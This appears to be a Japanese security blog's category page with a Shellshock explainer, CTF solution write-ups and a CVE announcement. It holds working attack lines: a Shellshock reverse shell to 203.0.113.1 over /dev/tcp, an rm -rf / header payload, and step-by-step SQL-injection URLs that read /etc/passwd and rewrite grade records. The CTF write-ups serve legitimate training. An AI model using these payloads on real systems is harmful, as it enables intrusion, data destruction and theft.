Posts in category security

CVE-2015-0014について (あるいは自慢話)

氏とわたしが報告したWindows Telnetに関する脆弱性に、 CVE-2015-0014 (およびMS15-002) というIDが割り振られました。

この脆弱性はWindows Telnetにおけるバッファオーバーフローに関するもので、登氏が同プログラムの不穏な挙動を発見し、そのエクスプロイトコードをわたしが作ってMicrosoftに報告したというかんじです。 今どきのOSにはASLRが積んであるのでドエラいことをするためには工夫が要るのですが、XPやServer 2003などには死をもたらすことができたので、結構アレゲな脆弱性です。

Microsoft TechNetに掲載された謝辞がこちらになります。

いよいよ名前が世界に知らしめられてしまいました。自分が発見に関わった脆弱性にCVE IDが付いたことですし、もしかするとこれでわたしもプロハッカーの仲間入りを果たしてしまったのかもしれないのですが、仕事というものが滅法苦手なわたしはたぶんこれからもバグハンターという狩猟生活を、自分の気の向くままにやるにとどまるでしょう。

そんなことより山にこもりたいと考えている今日この頃です。この山小屋がほしい。 https://suumo.jp/jj/bukken/shosai/JJ012FD010/?ar=040&bs=021&nc=83826542&suit=nsuusbsp20121129001

bashの脆弱性がヤバすぎる件

やっと更新する気になった。

もくじ

  • 0. 産業で説明
  • 1. 理論編
  • 2. 攻撃編
  • 3. パッチ
  • 4. 結論

0. 産業で説明

bashが
アホで
地球がヤバイ

1. 理論編

bashの関数機能は、環境変数の中でも使える仕様になっています。
今回問題となったのは、関数に任意のコマンドを続けて環境変数に入力すると、コマンドが勝手に実行されてしまうということです。この脆弱性にはCVE-2014-6271というIDと、Shell Shockというニックネームがつけられました。

2. 攻撃編

なんでもいいのでLinuxホストのターミナルでこんなコマンドを打ってみましょう:

$ AHO='() { baka; }; echo manuke' bash -c 'echo Hi'

もし出力の中にmanukeが含まれていたら、そのホストは今回発表された脆弱性に対して危険な状態です。

もうちょっとゾクッと来る例を紹介しましょう。

Gitoliteなど、シェルを提供しないという条件付きでSSHの接続を受け付けるタイプのアプリケーションがありますが、この脆弱性を突くと、シェルを与えていないユーザに好き放題されてしまうかもしれません。

あるGitoliteサーバ (gitolite.example.com) にアカウントを持っている攻撃者が自分のホストから

$ ssh git@gitolite.example.com '() { :; }; /usr/bin/id'

というコマンドを発射します。そして、

uid=108(git) gid=114(git) groups=114(git)

と返ってくると、攻撃は成功です。

$ ssh git@gitolite.example.com '() { :; }; bash -i >& /dev/tcp/203.0.113.1/4444 0>&1'

というコマンドを撃てば、203.0.113.1:4444にリバースシェルが降ってきますね(*1)。

もうひとつヤバい例を挙げましょう。CGIです。

CGIにおけるアタックベクタは、環境変数に格納されるパラメータです。 system()や類似の関数を用いたCGIスクリプトは、OSコマンド実行のためにbashを呼び出しているかもしれません。 CGIはパラメータを環境変数として格納しています(*2)から、HTTPリクエストヘッダをいじって

User-Agent: () { :; }; rm -rf /

とかやるとゾクゾクするかもしれません。わたしは実証していませんが。

3. パッチ

Ubuntu 12.04.5 LTSでは既にパッケージマネージャによって緊急アップデートが提供されていることを確認しました。その他のディストリビューションでもたぶんパッチが提供されていますが、そうでなければ http://seclists.org/oss-sec/2014/q3/650 こちらに掲載されている、bashのバージョンに適したパッチを使用しましょう。

bashのソースコードとパッチを読んで、どういうコードからこの脆弱性が生まれたか読み解いてみるのも勉強になりますね。

4. 結論

コワイ!


*1: この例はUbuntu 12.04.1 LTSで実証しました。この方法が使えなくてもNetcatやPerlなど、リバースシェルを引っ張る方法はいくらでもあります。
*2: 例: ユーザエージェント→HTTP_USER_AGENT

セキュリティ・ミニキャンプ in 会津 へ行ってきました

夕飯食ったら書く。

年越しCTF x86-64.jp大会 2014 を開催しました

あけましておめでとうございます。くりすです。今年もよろしくお願いします。


さて、年越しCTF x86-64.jp大会 2014 なるイベントを開催しましたが、参加者のみなさま、お楽しみいただけましたでしょうか?

以下に、年越しCTF x86-64.jp大会 2014 問題の解説記事を記します。

もくじ

  1. ルール説明
  2. 問題解説
    1. 第1段階 - Webアプリケーション
    2. 第2段階 - サーバへの侵入
    3. 第3段階 - パスワード付きzipへの攻撃
  3. 優勝者紹介
  4. 苦労話その他エピソード等

1. ルール説明

はじめに、ルールをおさらいします。

ルールは簡単。ターゲットサーバ最深部にあるキーを入手し、提出するだけ。あらゆる手を尽くして構いません。

楽勝そうですね。では、いってみましょう。

2. 問題解説

第1段階 - Webアプリケーション

ルール説明に従ってhttp://target.ctf.x86-64.jp/にアクセスすると、「ほげ大学科目データベース」と称する、ネーミングが適当な大学の科目紹介ページに到着します。このページはPythonのFlaskというマイクロフレームワークを使って作られております。

さて、いくつかページ上のリンクをたどってみます。

http://target.ctf.x86-64.jp/show/GB10114

線形代数Iに関する科目説明が現れる

http://target.ctf.x86-64.jp/show/GB11911

データ構造とアルゴリズムに関する科目説明が現れる

といったふうに、URLのパスを直接パラメータとして扱っているようです。ここにSQLインジェクションを仕掛けてみましょう。

  1. まずは、UNION ALL SELECT null攻めをします。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,@@VERSION;--
    
    このように、nullを10個と@@VERSIONを並べてUNIONクエリを発射すると、「備考」欄に5.5.34-0ubuntu0.12.04.1と出現し、SQLインジェクションの成功が確認できます。
  1. 次に、SQLインジェクションによってどんな操作が行えるか確認しましょう。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,grantee,privilege_type,is_grantable%20FROM%20information_schema.user_privileges;--
    
    こうすると、kamokudb@localhost, FILE, NOという応答を得ます。FILE権限があるようですね。ローカルファイルインジェクションをやってみましょう。
  1. /etc/nginx/nginx.conf をMySQL経由で読み取ってみましょう。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f6e67696e782e636f6e66);--
    
    こうすると、/etc/nginx/nginx.confを引っ張りだすことができます*1LOAD_FILE()の引数が16進数なのは、ASCIIのスラッシュが含まれるとパスと認識されて404 Not Foundという結果になってしまうからです。 その結果、nginx.confが備考欄に見事に出力され、/etc/nginx/conf.d/ctf.confというファイルをインクルードしていることを暴露します。
  1. /etc/nginx/conf.d/ctf.conf をMySQL経由で読み取る
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f6374662e636f6e66);--
    
    これにより、nginxで/adminが提供されており、さらに/etc/nginx/conf.d/admin.passwdの存在を知ります。
  1. /etc/nginx/conf.d/admin.passwd を読み取り、クラックする
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f6e67696e782f636f6e662e642f61646d696e2e706173737764);--
    
    これにより、
    admin:$apr1$Zbv59eGR$GoMlmiqujrkVOgm8QbMcL/
    
    を得ます。John The Ripperでも使えばクラックできます。ちなみに、パスワードはmanukeです。

2. サーバへの侵入

これで、 http://target.ctf.x86-64.jp/admin への侵入が完了しました。次は、サーバ自体への侵入を行います。

/admin は、サーバのファイルシステムの/home/ctfを表示するファイルマネージャです。ご丁寧にドットファイル系もばっちり表示してくれるので簡単ですね。.bash_history (途中で問題都合で.zsh_historyになりました) を開きましょう。

wget https://www.dropbox.com/s/************/id_rsa

Dropboxに秘密鍵をアップロードするとかとんだお馬鹿さんですね。問答無用でダウンロードし、使ってみましょう。しかし、どのユーザに対する鍵か分からないし、そもそもこのid_rsaはパスワードがかかっています。

  1. まずは、id_rsaのパスワードを解きましょう。 よくあるパスワードを試したり、総当たり攻撃でパスワードを暴いたりすればいけます。たとえば、ssh-privkey-crackなるツールがあります*2。 パスワードはpwnedです。
  1. 誰に対して使えるキーか、見当をつけましょう。 またSQLインジェクションに戻ります。
    http://target.ctf.x86-64.jp/show/%27%20UNION%20ALL%20SELECT%20null,null,null,null,null,null,null,null,null,null,LOAD_FILE(0x2f6574632f706173737764);--
    
    これは、/etc/passwdを表示するペイロードです。じっくり眺めてみると、chris, ctf-kamokudb, ctf, takashiあたりが狙えそうだということが分かります。

このキーが使えるアカウントは、ctfです。

  1. キーを探しましょう。 /home/ctf直下には偽物しかないので、どこか別のパスに隠されているはずです。/etc以下を調べると、/etc/sudoers.bakという、パーミッション444のファイルが見つかります。大当たりですね。
    ctf     ALL=(takashi) NOPASSWD: /bin/cat
    ctf     ALL=(takashi) NOPASSWD: /bin/ls
    
    たいへんよい。これらの権限を使えば、/home/takashi/Desktop/README.txtを見つけることは容易です。

このREADME.txtを読みます。

Impressive! You have reached the very depth of this server!

FINAL CHALLENGE: The key is right here... https://www.dropbox.com/s/qc7vo2o7ndmqu0n/lolz.zip
Download the zip file to your local machine and see what you can do. Good luck!

zipファイル中にキーが眠っているようです。

3. パスワード付きzip対する攻撃

先ほどダウンロードしたzipファイルを解凍してみましょう。できませんね。パスワードがかかっています。

でも、心配ご無用。なんとこのzipファイル、js/jquery.jsという、みなさんも容易に手に入れることができるファイルが一緒に保管されているのです。zipファイルの暗号は、選択平文攻撃という攻撃に対して脆弱であることが分かっており、実際に暗号化zipを解読するツールもあります。そのひとつが、pkcrackです。

(わたしがビルドしたときは)ちょっと人力パッチを当てる必要がありましたが、こいつを使えば、どんなに長いパスワードが使われていようと、zipの暗号を30秒ほどで解いてしまうことができるのです。

  1. クラックの準備をする zipに対する選択平文攻撃を行うためには、jquery.jsを同じアーカイブ方式、同じファイルシステムでzipに圧縮します。Linuxで zip jquery.zip jquery.jsを実行すれば大丈夫です。Windowsでやると失敗します。
  1. クラックする
    pkcrack -c js/jquery.js -p jquery.js -C lolz.zip -P ~/jquery.zip -d decrypted-lolz.zip
    
  1. 解読されたzipを解凍し、HERE_IS_THE_KEYを読み、キーをsubmitする。

註釈等

*1 本来はAppArmorによって保護されている部分ですが、CTFに供するためにわざと脆弱な設定を施しました。
*2 http://neophob.com/2007/10/ssh-private-key-cracker/


お疲れ様でした。以上が、年越しCTF x86-64.jp大会 2014の全容です。お楽しみいただけましたでしょうか!!

3. 正解者紹介

早着順(敬称略)です。

4. 苦労話、与太話

ここまでくるともう書くのだるいから箇条書きで。

  • .bash_history.zsh_history, ~/.ssh/authorized_keysを消されまくった
    • chattr +iして対処
  • uwsgiがハングした
    • supervisorctl restart allをcronで定期的に実行するようにした
  • /etc/sudoersを問題に盛り込もうとパーミッションを444にしたら、sudo自体が死んだ
    • /etc/sudoers.bakで代用

そんな感じですね。パーミッションがらみでミスってて、先にサーバに到達した参加者に妨害工作を受けたりしました。


ここまでのお付き合い、ありがとうございました。SECCON 2013 全国大会で、そしてtkbctf3で、また会いましょう。

The End

第2回tkbctf 問題「The Net」「Police」を作ってみた

EDIT

コード全体を公開しました。ご参考までに。 https://github.com/chris-x86-64/tkbctf2-Police

くりすです。

第2回tkbctfにて、問題「The Net」と、「Police」を担当しました。

The Net
トップ画面右下に「π」の文字がうっすら浮かんでいたのですが、この文字を出現させるCSSはbootstrap.css中に定義されていました。そのCSS中に、コメントの形式でフラグの文字列を設置しておりました。通信データを逐一フィルタしていれば、何も知らなくても発見できていたでしょう。
Police
吉村くん(@_yyu_)が原案のJavaScriptを制作し、わたしがその検査器をPythonで書きました。解き方は彼のブログに載せられる予定になっている[要出典]ので、わたしは裏方のタネ明かしをしたいと思います。問題自体の解法は、彼のブログに記事が上がるのを待ちましょう。用語や関数名なども彼のブログで解説されることを願いたい。

問題「Police」に挑戦してくださったみなさんはきっとお気づきかと思いますが、「validation.py」というPython CGIが、XSS成功時にそのフォームの内容をPOSTで受け取っていました。
これは、バックエンドでユーザが入力したJavaScriptを評価するために、PyV8を用いていたからです。

では、validation.pyの内容(理解を簡単にするために一部簡単にしてあります)を見てみましょう。

#!/usr/bin/env python

import PyV8
import cgi, cgitb

# check JavaScript
class Global(PyV8.JSClass):
        def isYoshimuraYuu(self):
                print "That was great!! The key is ... \"hatsuneMiku39\""

        def notQuiteDone(self):
                print "You need to set the `proceedable` to true!"

def evalJavaScript(post_data):
        try:
                ctxt = PyV8.JSContext(Global())
                ctxt.enter()
                ctxt.eval(open('../public/check.js').read())
                ctxt.eval(open('../private/foo.js').read())
                ctxt.eval('checkSum(' + repr(post_data) + ')')
                ctxt.leave()
        except Exception, e:
                print "Perhaps syntax error? Try again!"
# end JavaScript

# CGI
form = cgi.FieldStorage()

print 'Content-type: text/html'
print
evalJavaScript(form.getvalue('solution'))

# end CGI

ざっくらばんにいうと、皆さんのブラウザにも現れたcheck.jsfoo.js(※サーバ上で動かすための多少の改変あり)をロードし、そのJavaScriptに対して、checkSum(ユーザの入力)を評価するということをしています。
その結果isYoshimuraYuu()が実行されれば勝ちというわけです。isYoshimuraYuu()はPythonで定義されていますが、PyV8を使うことでevalしたJavaScriptから呼び出せるので、こういうことができるのです。
こんな変な名前なのは、参加者のブラウザにロードされる諸JavaScriptと名前の衝突を起こさないようにするためです。

つまるところ、foo.jsで定義されたgiveMeTheFlag()proceedable == trueの状態のときに実行されると、PythonのisYoshimuraYuu()が実行される仕組みになっているわけです。

こんな裏方を作っていました。結局、半数の正解者が別解で解いたため、何度か手動検査をやるはめになったのですが。

ZIPファイルに対するKnown Plaintext Attackについて






あやふみ女史(※男の娘)のコスプレ画像zipがパスワード付きでうpされたらしいです。

さらに、



ここでピンときた。

"Known Plaintext Attack" だ。

Known Plaintext Attack
パスワードを設定して暗号化したPKZIPファイルの中身をある程度知っていると、それをもとにストリームキーを推測してアーカイブ全体を解読できるというもの。

そして、




名指しで腕を試されている。

やるしかないね。

やってみました。


やっぱ記事書くのめんどくさい。やめた。なお解読はできた模様。

第1回tkbctf 問題「Are these your grades?」を作ってみた

くりすです。

つい先日の5月4日昼から5日朝まで夜通しで「tkbctf」なるハッキングコンテスト、いわゆるCTFが開催されましたが、わたしはそれに1つミッションを提供しました。

それが、「Are these your grades?」です。

あらゆる情報系ダメ学生の夢である、「学校の成績管理システムをハックして、落第をなかったことにする」というのが目標のミッションです。

それでは、以下ネタバレとなります。


ミッション説明

こんにちは。博麗大学のS.Iと申します。
春休みに入り成績が付いたのですが、どうも線形代数Iの成績が芳しくないのです。これを落とすとたいへんなことになってしまいます。
線形代数にF(落第点)が付いているのですが、これをD(及第点ギリギリ)に書き換えてくださいませんか?
わたしのログイン情報は 13413983:f.scarlet495 なので、ご参考まで。
どうかお力添えをお願いします。

--- このCTFミッションは、WIDEプロジェクト (http://www.wide.ad.jp) 提供のネットワークにて公開しております。所在地: 筑波大学3F棟230号室 産学間連携推進室 ---

想定していた解答

  1. 普通にログインする
  1. Subjects を開くと、URLが index.pl?mode=subjects&subid=LAI というふうになる。この subid がインジェクションポイントである。
    ブラインドインジェクションなので気合ゲー。以下示すSQLクエリの断片は、 subid GETパラメータから注入するSQLインジェクションである。
  1. ' UNION ALL SELECT null, null, null, null, null, @@VERSION #
    
    とかいったふうに順々に null を増やしつつ UNION 攻めをすると、 null を5個投入した後にページにバージョン情報が現れるので、SQLインジェクションが有効と分かる。
    なお、 # はURLに入ってると「同じページのなんか」という意味を持つので、パラメータで送信するときに %23 でエンコードすること。
  1. テーブル名をゲットするために、
    ' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct table_schema separator ', ') FROM information_schema.columns #
    
    というSQLインジェクションを発射する。
    GROUP_CONCAT を使うとと1行に全てのrowsが降ってくるので、今回みたいにページに出現するrowは最初の1行だけという場合に都合がよい。←重要
  1. この ctf とかいうデータベースが怪しいので、覗き見る。
    ' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct TABLE_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf
    
  1. grades, users, subjects というテーブルがあることが分かる。 grades が怪しいので中身を見る。
    ' UNION ALL SELECT null, null, null, null, null, GROUP_CONCAT(distinct COLUMN_NAME separator ', ') FROM information_schema.columns WHERE TABLE_SCHEMA = 'ctf' AND TABLE_NAME = 'grades
    
  1. grades というテーブルの中には、 userid と、 grades_json というカラムが存在していることが分かった。 userid とそれに対応する grades_json を引っ張ってくる。
    ' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades #
    
  1. grades から引っ張ってきた userid は、既知であるユーザネーム 13413983 とは異なり、なんらかのハッシュになっているので、テーブル users13413983 に対応するハッシュが眠っていないか確かめる。
    ' UNION ALL SELECT null, null, null, null, userid, username FROM users WHERE username = '13413983
    
    Note: ユーザネーム 13413983VARCHAR 型であるので、文字列として取り扱うべきである。根拠は、 users テーブルを覗き見れば、 yakumo@hakurei.ac.jp という username のアカウントの存在が分かることから明らか。
  1. userid = 896b3697369ab1ca14612120ded84c68 に対応する grades_json を引っ張ってくる。
    ' UNION ALL SELECT null, null, null, null, userid, grades_json FROM grades WHERE userid = '896b3697369ab1ca14612120ded84c68
    
  1. 引っ張ってきたJSONはこうなっている:
    [{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"F"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]
    

↑これを

[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},中略,{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]

↑こうして、

'; UPDATE grades SET grades_json = '[{"subject_id":"LAI","cemester":"Last-half 2012","subject":"Linear Algebra I","grade":"D"},{"subject_id":"PHY","cemester":"Last-half 2012","subject":"Physics","grade":"D"},{"subject_id":"CLI","cemester":"Last-half 2012","subject":"Calculus I","grade":"C"},{"subject_id":"PGI","cemester":"Last-half 2012","subject":"Programming I","grade":"A"},{"subject_id":"MON","cemester":"Last-half 2012","subject":"Introduction to Monty Python","grade":"A"},{"subject_id":"SLO","cemester":"Last-half 2012","subject":"Slacking Off","grade":"A"}]' WHERE userid = '896b3697369ab1ca14612120ded84c68' #

↑このように複文構造で UPDATE 文をインジェクトします。

  1. 最後に、これをURLエンコードして、 subid パラメータに叩きこんで、攻略は完了です。
    http://web400.tkbctf.info/index.pl?mode=subjects&subid=%27%3B%20UPDATE%20grades%20SET%20grades_json%20%3D%20%27%5B%7B%22subject_id%22%3A%22LAI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Linear%20Algebra%20I%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22PHY%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Physics%22%2C%22grade%22%3A%22D%22%7D%2C%7B%22subject_id%22%3A%22CLI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Calculus%20I%22%2C%22grade%22%3A%22C%22%7D%2C%7B%22subject_id%22%3A%22PGI%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Programming%20I%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22MON%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Introduction%20to%20Monty%20Python%22%2C%22grade%22%3A%22A%22%7D%2C%7B%22subject_id%22%3A%22SLO%22%2C%22cemester%22%3A%22Last-half%202012%22%2C%22subject%22%3A%22Slacking%20Off%22%2C%22grade%22%3A%22A%22%7D%5D%27%E3%80%80WHERE%20userid%20%3D%20%27896b3697369ab1ca14612120ded84c68%27%20%23
    

想定外の解法

いやー実はわたしのミスで、上記のように意図的に盛り込んだSQLインジェクションとは異なるセキュリティホールが存在していたのです。
以下はそれらの説明です。といっても、非常に単純な解法となるので説明はほぼ不要でしょう。

  1. http://web400.tkbctf.info/etc/config.yml に対するアクセス制御が不十分

なんのことはないです。configファイルがwebから閲覧可能な状態になっていたので、ディレクトリを総当り的に漁ったりエラー画面から config.yml という設定ファイルの存在を知ったりすれば到達できます。
この中にスコアを獲得するための重要な情報が含まれていました。

  1. http://web400.tkbctf.info/.git/ に対するアクセス制御が不十分

いやこれはひどかったです。ソースコードもろとも丸見えになってしまいました。
gitを使ってwebサービスの開発管理をするときは、 .git ディレクトリの取扱いに気をつけるべきですね。
最良の対策は、「 .git ディレクトリが DocumentRoot 内に存在しないようにする」ことではないでしょうか。
今回のこのミスを通して自分もまたひとつおもしろいことが学べたので、このCTFに出題してよかったと思いました。


正解者に万雷の拍手を

早着順です。(敬称略)

付録

次のGitHubリポジトリにて、本問題のソースコードを公開する予定です。
まだREADMEが完成していないため未公開ですが、できれば本日中に公開しますので、興味がありましたらご覧ください。

tkbctf1 - Are these your grades?

みなさま、お疲れ様でした!!

SSL中間証明書を改良してAndroidに対応させた

およそ3週間の間多忙で何もアウトプットできていなかったくりすです。

nginxのSSL証明書をAndroid上で信頼されないという報告を受けていたのですが、先程対応が完了したのでシェア。

問題

このnginx上ではRapidSSLを採用しており、その親ベンダはGeoTrust, Inc.であるわけですが、この両者の中間証明書をインストールしないと、一部の端末では証明書が正しく使用できませんでした。

原因

2010年頃からRSA (1024bit) は暗号強度上の理由から廃止されており、それに伴い諸CA証明書も2048bitに順次入れ替わっております。しかし、これに伴い互換性確保のために中間証明書のインストールが必須となるので、これを正しく設置していない場合SSLエラーが発生するわけです。

気を付けないといけないのは、RapidSSLの場合はRapidSSLの中間証明書と、その上位のGeoTrustの中間証明書の両方が必要であるということです。

対策

  1. RapidSSL, およびGeoTrustの中間証明書をそれぞれ入手します。
    参考文献の3番目のテキストファイルは、この2つの証明書がバンドルになったものなので、それを引っ張ってくればよいでしょう。
    $ wget https://knowledge.rapidssl.com/library/VERISIGN/INTERNATIONAL_AFFILIATES/RapidSSL/AR1548/RapidSSLCABundle.txt
    

  1. 自分のサーバ用の証明書とこれらを連結します。
    # cat /path/to/the/downloaded/RapidSSLCABundle.txt >> /path/to/your/ssl/cert.pem
    
  1. nginxを再起動します。
    # service nginx restart
    

これだけの手間でしたが、Android 4.0.3で正常に読み込まれたことを確認しましたので、一安心。

NISTの文書によると、今年の末までに1024bitのRSAは廃止され、2048bitに移行するものとされています。

参考文献